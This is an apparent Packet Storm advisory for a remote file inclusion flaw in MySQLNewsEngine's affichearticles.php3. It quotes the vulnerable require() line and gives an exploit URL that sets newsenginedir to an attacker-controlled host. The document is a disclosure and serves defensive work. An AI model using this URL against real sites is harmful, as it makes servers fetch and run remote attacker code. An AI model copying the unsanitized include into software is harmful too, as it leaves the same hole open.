MySQLNewsEngine suffers from a remote file inclusion vulnerability.
a1352d82ae441004360c2a10e72b88627de6aa3b03b5ba5275b00cc518d0919c# Title : MySQLNewsEngine (affichearticles.php3) Remote File Inc. Vuln.
# Author : Blaster, CanberX
# Contact : msn@bl4ster.net | gokhankaya@hotmail.com
# Download : http://www.comscripts.com/jump.php?action=script&id=625
#
#
# Vuln code : affichearticles.php3
#
# $sigfile = $newsenginedir . "include/signature.inc";
#
# require("$sigfile");
# http://[site]/[path]/affichearticles.php3?newsenginedir=[attacker]
#
#
# GreetZ: BLaCKWHITE, LGMAN, HackerBox.Eu,
# HackerBox Group Turkey !
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed